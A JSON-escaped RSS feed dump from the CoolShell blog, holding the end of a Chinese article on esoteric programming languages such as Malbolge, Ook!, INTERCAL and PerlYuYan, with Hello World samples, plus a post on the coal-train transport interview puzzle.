knife.&lt;/li&gt;\n\t&lt;li&gt;Water: rain, snow, river, ice.&lt;/li&gt;\n&lt;/ul&gt;\n自然出现了一张关系表：\n&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot;&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;th&gt;元素关系&lt;/th&gt;\n&lt;th&gt;操作&lt;/th&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td&gt;B 生A&lt;/td&gt;\n&lt;td&gt;A+B&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td&gt;B 克 A&lt;/td&gt;\n&lt;td&gt;A-B&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td&gt;B 怕 A&lt;/td&gt;\n&lt;td&gt;A/B&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td&gt;B 爱 A&lt;/td&gt;\n&lt;td&gt;A*B&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td&gt;B 就是 A&lt;/td&gt;\n&lt;td&gt;如果A和B都是阳，则是阳，否则是阴&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;h4&gt;Piet&lt;/h4&gt;\nDavid Morgan-Mar 发明的用位图编程的&lt;a href=&quot;http://www.dangermouse.net/esoteric/piet.html&quot; target=&quot;_blank&quot;&gt;Piet语言&lt;/a&gt;也是BT到了极致，你还记得前两的那个“&lt;a title=&quot;我有一个Hello World的C++程序编译不过&quot; href=&quot;https://coolshell.cn/articles/4170.html&quot; target=&quot;_blank&quot;&gt;我的hello world编不过去&lt;/a&gt;”文章中的那个强人用windows的画图程序编程的例子吗？呵呵Piet完全是用位图编程的语言。\n\n下面这个图片就是其Hello World的示例：\n&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.topdesignmag.com/wp-content/uploads/2011/04/Piet_hello_big.png&quot;&gt;&lt;img class=&quot;aligncenter&quot; title=&quot;Piet_hello_big&quot; src=&quot;http://www.dangermouse.net/esoteric/piet/Piet_hello_big.png&quot; alt=&quot;&quot; width=&quot;150&quot; height=&quot;145&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p style=&quot;text-align: left;&quot;&gt;再看看斐波拉契数列的程序示例:&lt;/p&gt;\n&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.dangermouse.net/esoteric/piet/fibbig.gif&quot;&gt;&lt;img class=&quot;aligncenter&quot; src=&quot;http://www.dangermouse.net/esoteric/piet/fibbig.gif&quot; alt=&quot;&quot; width=&quot;110&quot; height=&quot;121&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n这里还有更多的示例：&lt;a href=&quot;http://www.dangermouse.net/esoteric/piet/samples.html&quot;&gt;http://www.dangermouse.net/esoteric/piet/samples.html&lt;/a&gt;\n&lt;h4&gt;&lt;strong&gt;Malbolge&lt;/strong&gt;&lt;/h4&gt;\n&lt;a href=&quot;http://www.lscheffer.com/malbolge.shtml&quot; target=&quot;_blank&quot;&gt;Malbolge语言&lt;/a&gt;，是最早的一个以代码丑陋为目标而设计出的程序语言，你几乎不可能读懂Malbolge的代码。它共有8条指令，所有运算都基于3进制，控制程序流的唯一指令是无条件跳转。其是BenOlmstead在1998年引进公共领域的深奥程序语言，名称来源于“the eighth circle of hell in Dante’s Inferno”，之后更名为Malbolge。\n\n这被认为是地狱级的编程语言。\n\n看看它的Hello World程序：\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;&lt;code&gt;(&#039;&amp;%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@&gt;}=&lt;M:9wv6WsU2T|nm-,jcL(I&amp;%$#&quot;\n </code>]V?Tx&lt;uVtT<code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj&quot;Fhg${z@&gt;&lt;/code&gt;&lt;/pre&gt;\n&lt;h4&gt;Unlambda&lt;/h4&gt;\n关于&lt;a href=&quot;http://www.madore.org/~david/programs/unlambda/&quot; target=&quot;_blank&quot;&gt;Unlambda语言&lt;/a&gt;，David Madore是这个语言的发明人，他于1976年8月3日生于法国，其是法国-加拿大籍数学家和计算机科学爱好者）。在unlambda里，所有东西都是函数。基本操作就是S， K， 和I三个组合子。当然，unlambda也加入一些扩展，让程序稍微好些一点。\n&lt;pre style=&quot;padding-left: 30px;&quot;&gt;</code><code data-enlighter-language=\"s\" class=\"EnlighterJSRAW\"></code><code data-enlighter-language=\"sii\" class=\"EnlighterJSRAW\"></code><code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">ki\n </code><code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">s</code><code data-enlighter-language=\"ks\" class=\"EnlighterJSRAW\">s</code>\n     <code data-enlighter-language=\"s\" class=\"EnlighterJSRAW\"></code><code data-enlighter-language=\"s\" class=\"EnlighterJSRAW\"></code><code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">ks</code><code data-enlighter-language=\"k\" class=\"EnlighterJSRAW\">s</code><code data-enlighter-language=\"kr\" class=\"EnlighterJSRAW\">s</code>\n               <code data-enlighter-language=\"s\" class=\"EnlighterJSRAW\"></code><code data-enlighter-language=\"si\" class=\"EnlighterJSRAW\">k</code><code data-enlighter-language=\"s\" class=\"EnlighterJSRAW\"></code><code data-enlighter-language=\"s\" class=\"EnlighterJSRAW\">k</code><code data-enlighter-language=\"d\" class=\"EnlighterJSRAW\">k\n                               </code><code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\"></code><code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\"></code><code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\"></code><code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\"></code><code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\"></code><code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\"></code>.H.e.l.l.o.,. .w.o.r.l.d.!\n                        k\n      k\n  <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">k</code><code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">s</code><code data-enlighter-language=\"ksk\" class=\"EnlighterJSRAW\">s</code>`k.*</pre>\n<h4>Ook!</h4>\n<p><a href=\"http://www.dangermouse.net/esoteric/ook.html\" target=\"_blank\">Ook! 语言</a>也是David Morgan-Mar 发明的，与Brainfuck类似, 但用单词“<code>Ook！”</code>，“<code>Ook.</code>” 和“<code>Ook?</code>”代替。我们来看一个Hello World的一个示例：</p>\n<pre style=\"padding-left: 30px;\">Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.\nOok. Ook. Ook. Ook. Ook! Ook? Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.\nOok. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook! Ook! Ook? Ook! Ook? Ook.\nOok! Ook. Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.\nOok. Ook. Ook! Ook? Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook?\nOok! Ook! Ook? Ook! Ook? Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook.\nOok. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook. Ook. Ook. Ook. Ook.\nOok. Ook. Ook! Ook. Ook. Ook? Ook. Ook? Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.\nOok. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook? Ook. Ook. Ook.\nOok. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook! Ook! Ook? Ook! Ook? Ook. Ook! Ook.\nOok. Ook? Ook. Ook? Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.\nOok. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook? Ook. Ook. Ook.\nOok. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.\nOok. Ook? Ook! Ook! Ook? Ook! Ook? Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook.\nOok? Ook. Ook? Ook. Ook? Ook. Ook? Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook.\nOok! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook.\nOok! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!\nOok! Ook. Ook. Ook? Ook. Ook? Ook. Ook. Ook! Ook.</pre>\n<p>下面是一些转换器和解释器：</p>\n<ul>\n<li><a href=\"http://www.dangermouse.net/esoteric/Ook.java\">Java Ook!-to-BrainF*** 和 BrainF***-to-Ook! 转换器</a>.</li>\n<li><a href=\"http://www.ruby-lang.org/en/raa-list.rhtml?name=RubyOok\">Ook! Ruby解释器</a>.</li>\n<li><a href=\"http://www.orakel.ntnu.no/~oyving/code/python/pook.py\">Ook! Python解释器</a>.</li>\n<li><a href=\"http://bluesorcerer.net/esoteric/ook.html\">Ook!  .Net 编译器叫Ook#</a></li>\n<li><a href=\"http://search.cpan.org/search?module=Acme::Ook\">Ook! perl 解释器</a>.</li>\n</ul>\n<h4><strong>TMMLPTEALPAITAFNFAL</strong></h4>\n<p>你没看错，上面这一排毫无意义的字母是一个语言的名称。它是The Multi-Million Language Project To End All Language Projects And Isn&#8217;t That A Fine Name For A Language的缩写。<a href=\"http://p-nand-q.com/humor/programming_languages/tmmlpteal.html\" target=\"_blank\">TMMLPTEALPAITAFNFAL语言</a>没有固定的语法规则，每一天都是不同的语法。例如，2000年10月13日你可以使用DIV但不能使用MOD；到了10月14日时你可以使用MOD了但DIV又不能用了。因此，你今天写的程序运行起来完全正常，但是到了明天就无法编译了。下面是一个TMMLPTEALPAITAFNFAL的Hello World程序，当然现在已经无法编译了。</p>\n<pre style=\"padding-left: 30px;\"><code>DECLARE CELL 100 AS READPOS\n DECLARE 10 AS NEWLINE\n WRITE CHAR NEWLINE\n COPY \"Hello, World\" TO CELL 0\n COPY 0 TO READPOS\n WHILE READPOS INDIRECT DO GOSUB 300\n WRITE CHAR NEWLINE\n RETURN\nLINE 300: WRITE CHAR READPOS INDIRECT\n ADD 1 TO READPOS\n RETURN</code></pre>\n<h4>INTERCAL</h4>\n<p><a href=\"http://catb.org/~esr/intercal/\" target=\"_blank\">INTERCAL语言</a>（<a href=\"http://en.wikipedia.org/wiki/INTERCAL\" target=\"_blank\">Wikipedia</a>）全称是“Compiler Language With No Pronounceable Acronym”。自认为是“超级黑客”的人可以试试用这个语言写程序。由老牌黑客<a href=\"http://en.wikipedia.org/wiki/Don_Woods\">Don Woods</a> 和 <a href=\"http://en.wikipedia.org/wiki/James_M._Lyon\">James M. Lyon</a> 在1972年发明，其是用来讽刺当时的那些编程语言。今天 这个语言有两个版本，一个是由牛人<a href=\"http://en.wikipedia.org/wiki/Eric_S._Raymond\">Eric S. Raymond</a>维护的C-INTERCAL，另一个是Claudio Calvelli 维护的CLC-INTERCAL。（<strong>注</strong>：在自由软件启蒙阶段，<a href=\"http://en.wikipedia.org/wiki/Eric_S._Raymond\">Eric S. Raymond</a>以如椽之笔呼啸而出，其核心著作被业界成为&#8221;五部曲&#8221;：《黑客道简史》（A Brief History of Hackerdom）、 《大教堂和市集》（The Cathedral and the Bazaar）、《如何成为一名黑客》（How To Become A Hacker）、《开拓智域》（Homesteading the Noosphere）、《魔法大锅炉》（The Magic Cauldron）。其中最著名的当然还是《大教堂和市集》，它在自由软件运动中的地位相当于基督教的《圣经》。而用黑客们的话说，这是&#8221;黑客藏经阁&#8221;的 第一个收藏。）</p>\n<p>来看看其Hello World的程序：</p>\n<pre style=\"padding-left: 30px;\">DO ,1 &lt;- #13\nPLEASE DO ,1 SUB #1 &lt;- #238\nDO ,1 SUB #2 &lt;- #108\nDO ,1 SUB #3 &lt;- #112\nDO ,1 SUB #4 &lt;- #0\nDO ,1 SUB #5 &lt;- #64\nDO ,1 SUB #6 &lt;- #194\nDO ,1 SUB #7 &lt;- #48\nPLEASE DO ,1 SUB #8 &lt;- #22\nDO ,1 SUB #9 &lt;- #248\nDO ,1 SUB #10 &lt;- #168\nDO ,1 SUB #11 &lt;- #24\nDO ,1 SUB #12 &lt;- #16\nDO ,1 SUB #13 &lt;- #162\nPLEASE READ OUT ,1\nPLEASE GIVE UP</pre>\n<h4>HQ9++</h4>\n<p><a href=\"http://www.dangermouse.net/esoteric/hq9plusplus.html\" target=\"_blank\">HQ9++语言</a>同样是David Morgan-Mar 发明的，其带有四个指令的joke语言。</p>\n<ul>\n<li><strong>H</strong>: 输出 <a title=\"Hello,world!\" href=\"http://www.esolangs.org/wiki/Hello%2C_world%21\">“hello,world”</a></li>\n<li><strong>Q</strong>: 输出程序员的源代码</li>\n<li><strong>9</strong>: 打印 <a title=\"99 bottles of beer\" href=\"http://www.esolangs.org/wiki/99_bottles_of_beer\">“99 Bottles of Beer”</a> 的歌词</li>\n<li><strong>+</strong>: 累加器</li>\n</ul>\n<h4><strong>PerlYuYan</strong></h4>\n<p><a href=\"http://zh.wikipedia.org/wiki/PerlYuYan\" target=\"_blank\">PerlYuYa</a>n语言是一个能令人使用中文文言文开发程式 Perl 程式的 Perl 模块，由<a href=\"http://zh.wikipedia.org/wiki/%E5%94%90%E9%B3%B3\">唐凤</a>于2002年一月发表。它是<a href=\"http://zh.wikipedia.org/wiki/%E4%B8%AD%E6%96%87%E7%B7%A8%E7%A8%8B%E8%AA%9E%E8%A8%80\">中文编程语言</a>的尝试。作者利用中文的特质，将许多指令改成以一个中国汉字来表示，因而造成了文言语法的感觉。</p>\n<p>看看下面的这段代码，相当的文言文啊。有兴趣可以<a href=\"http://search.cpan.org/~autrijus/Lingua-Sinica-PerlYuYan-0.03/\" target=\"_blank\">去CPAN上下载</a>回来玩玩。</p>\n<pre style=\"padding-left: 30px;\">#!/usr/local/bin/perl\n\nuse Lingua::Sinica::PerlYuYan;\n\n用警兮用嚴。\n\n印道\n一至一\n哉兮\n\n印編曰雜申雜申矣\n  又纖曰龍鼠矣\n    又曰一矣\n\n亂曰\n國無人莫我知兮    又何懷乎故都\n既莫足與為美政兮  吾將從彭咸之所居</pre>\n<p>还有下面这个五言。</p>\n<pre style=\"padding-left: 30px;\"><code># The Sieve of Eratosthenes - 埃拉托斯芬篩法\nuse Lingua::Sinica::PerlYuYan;\n\n  用籌兮用嚴。井涸兮無礙\n。印曰最高矣  又道數然哉。\n。截起吾純風  賦小入大合。\n。習予吾陣地  並二至純風。\n。當起段賦取  加陣地合始。\n。陣地賦篩始  繫繫此雜段。\n。終陣地兮印  正道次標哉。\n。輸空接段點  列終註泰來。</code></pre>\n<p>&nbsp;</p>\n<h4>参考：</h4>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Category:Esoteric_programming_languages\">Esoteric_programming_languages</a></li>\n<li><a href=\"http://www.topdesignmag.com/top-13-most-absurd-programming-languages/\" target=\"_blank\">Top 13 Most Absurd Programming Languages</a></li>\n<li><a href=\"http://wei.si/blog/2011/04/befunge-and-perlyuyan/\" target=\"_blank\">Befunge语言和文言文编程</a></li>\n<li><a href=\"http://hi.baidu.com/namekin/blog/item/9f36f21fc6be296df724e452.html\" target=\"_blank\">疯狂的编程语言——ENGLISH，Chef，Shakespeare</a></li>\n<li><a href=\"http://www.dangermouse.net/esoteric/\" target=\"_blank\">DM&#8217;s Esoteric Programming Languages</a></li>\n<li><a title=\"Permanent Link to 十大另类程序语言（上）\" rel=\"bookmark\" href=\"http://www.matrix67.com/blog/archives/253\">十大另类程序语言（上）</a></li>\n<li><a title=\"Permanent Link to 十大另类程序语言（下）\" rel=\"bookmark\" href=\"http://www.matrix67.com/blog/archives/255\">十大另类程序语言（下）</a></li>\n</ul>\n<p>看过这些，我我还有什么好说的呢，什么C/C++/Java，神马都是浮云了……</p>\n<div><span style=\"font-family: Simsun; line-height: normal; font-size: medium;\">(全文完) </span></div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2529.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" alt=\"StackOverflow的404错误页\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2529.html\" class=\"wp_rp_title\">StackOverflow的404错误页</a></li><li ><a href=\"https://coolshell.cn/articles/1142.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" alt=\"BT雷人的程序语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1142.html\" class=\"wp_rp_title\">BT雷人的程序语言</a></li><li ><a href=\"https://coolshell.cn/articles/8052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/220px-KnnClassification.svg_-150x150.png\" alt=\"K Nearest Neighbor 算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8052.html\" class=\"wp_rp_title\">K Nearest Neighbor 算法</a></li><li ><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif\" alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_title\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href=\"https://coolshell.cn/articles/6112.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/12/resin01-150x150.png\" alt=\"由一个问题到 Resin ClassLoader 的学习\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6112.html\" class=\"wp_rp_title\">由一个问题到 Resin ClassLoader 的学习</a></li><li ><a href=\"https://coolshell.cn/articles/5388.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"C语言中史上最愚蠢的Bug\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5388.html\" class=\"wp_rp_title\">C语言中史上最愚蠢的Bug</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4458.html\">BT雷人的程序语言（大全）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4458.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>61</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>面试题：火车运煤问题</title>\n\t\t<link>https://coolshell.cn/articles/4429.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4429.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 11 Apr 2011 01:01:31 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[趣味问题]]></category>\n\t\t<category><![CDATA[Puzzle]]></category>\n\t\t<category><![CDATA[面试]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4429</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这个可能是一个比较经典的智力题了，和以前的那个《赛马问题》很相似，其题目如下： 你是山西的一个煤老板，你在矿区开采了有3000吨煤需要运送到市场上去卖，从你的矿...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4429.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4429.html\">面试题：火车运煤问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-1209\" title=\"Question\" src=\"https://coolshell.cn/wp-content/uploads/2009/07/Question.jpg\" alt=\"\" width=\"158\" height=\"158\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/07/Question.jpg 158w, https://coolshell.cn/wp-content/uploads/2009/07/Question-150x150.jpg 150w\" sizes=\"(max-width: 158px) 100vw, 158px\" />这个可能是一个比较经典的智力题了，和以前的那个《<a title=\"面试题：赛马问题\" href=\"https://coolshell.cn/articles/1202.html\" target=\"_blank\">赛马问题</a>》很相似，其题目如下：</p>\n<p style=\"padding-left: 30px;\"><strong><span style=\"color: #008000;\">你是山西的一个煤老板，你在矿区开采了有3000吨煤需要运送到市场上去卖，从你的矿区到市场有1000公里，你手里有一列烧煤的火车，这个火车最多只能装1000吨煤，且其能耗比较大——每一公里需要耗一吨煤。请问，作为一个懂编程的煤老板的你，你会怎么运送才能运最多的煤到集市？</span></strong></p>\n<p>这道题一开始看上去好像是无解的，因为你的火车每一公里就要消耗一吨煤，而到目的地有1000公里，而火车最多只能装1000吨媒。如果你的火车可以全部装下，到目的地也会被全部烧光，一丁点也不剩。所以，很多人的第一反应都是觉得这个不太可能。</p>\n<p>如果你一开始就觉得不太可能的话，这是很正常的。不过我不知道你还会不会继续思考下去，如果你不想思考下去了，那么我很为你担忧，因为你可能并不是一个不善于思考的人，而是一个畏难的人，还有可能是一个容易放弃的人。这对于你做好 一个需要大量思考的工作的程序员来说可能并不适合。</p>\n<p>我一开始也觉得不可能，后来想了一想，想到一个解法可以最多运送500吨煤到市场，方法如下：（<span style=\"color: #ff0000;\">希望你先自己想一想再查看这个答案</span>）<br />\n<span id=\"more-4429\"></span><br />\n<script>// <![CDATA[\nfunction showAnswer(){\n    document.getElementById('answer').style.display = '';\n}\n// ]]&gt;</script><br />\n【<a href=\"javascript:showAnswer();\"><strong>查看答案</strong></a>】</p>\n<div id=\"answer\" style=\"display: none; background-color: #eeeeee; padding: 10px 0px 5px 10px; border-style: dashed;\">\n<ol>\n<li>装1000吨煤，走250公里，扔下500吨煤，回矿山。</li>\n<li>装1000吨煤，走到250公里处，拿起250吨煤继续向前到500公里处，扔下500吨煤，回矿山。此时火车上还有250吨，再加上在250公里处还有250吨煤，所以，火车是可以回矿山的。</li>\n<li>装上最后1000吨煤，走到500公里处，装上那里的500吨煤，然后一直走到目的。</li>\n</ol>\n<p>于是，你最多可以运送500吨煤到市场（当然，火车也回不去了，因为那矿山没有煤了）</p>\n</div>\n<p>好像这样很不错的了，不过还有更好的方法能运更多的媒过去。你知道这个方法吗？可以提示的是，就是以上述这个方法的思路。我先暂时不把答案放上来，你可以自己想想。过两天我把答案放上来。</p>\n<p>&nbsp;</p>\n<p><strong>更新（2011年4月17日）</strong>：大家都很聪明，533是应该是最优解，大家用了很多种方法阐述了这一过程，我最初的想法和朋友<a href=\"https://coolshell.cn/articles/4429.html#comment-44698\" target=\"_blank\">xPacificCoolShell</a>的一致！很高兴看到有更为科学的解法，受教了。另外，还有一些朋友提出火车不能随时随地调头的实际情况，非常不错，所以，以后这题不能用火车运煤了，可能是用马运草更好一点了。;)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7965.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" alt=\"一个fork的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7965.html\" class=\"wp_rp_title\">一个fork的面试题</a></li><li ><a href=\"https://coolshell.cn/articles/4162.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"又一个有趣的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4162.html\" class=\"wp_rp_title\">又一个有趣的面试题</a></li><li ><a href=\"https://coolshell.cn/articles/3961.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" alt=\"“火柴棍式”程序员面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3961.html\" class=\"wp_rp_title\">“火柴棍式”程序员面试题</a></li><li ><a href=\"https://coolshell.cn/articles/3738.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"打印质数的各种算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3738.html\" class=\"wp_rp_title\">打印质数的各种算法</a></li><li ><a href=\"https://coolshell.cn/articles/3445.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"输出从1到1000的数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3445.html\" class=\"wp_rp_title\">输出从1到1000的数</a></li><li ><a href=\"https://coolshell.cn/articles/3345.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/googlequestion-150x150.jpg\" alt=\"140个Google的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3345.html\" class=\"wp_rp_title\">140个Google的面试题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4429.html\">面试题：火车运煤问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4429.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>335</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-19.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 19 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=19\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Thu, 04 Dec 2014 02:08:43 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>Eclipse开发Android应用程序入门:重装上阵</title>\n\t\t<link>https://coolshell.cn/articles/4334.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4334.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Fri, 08 Apr 2011 00:30:09 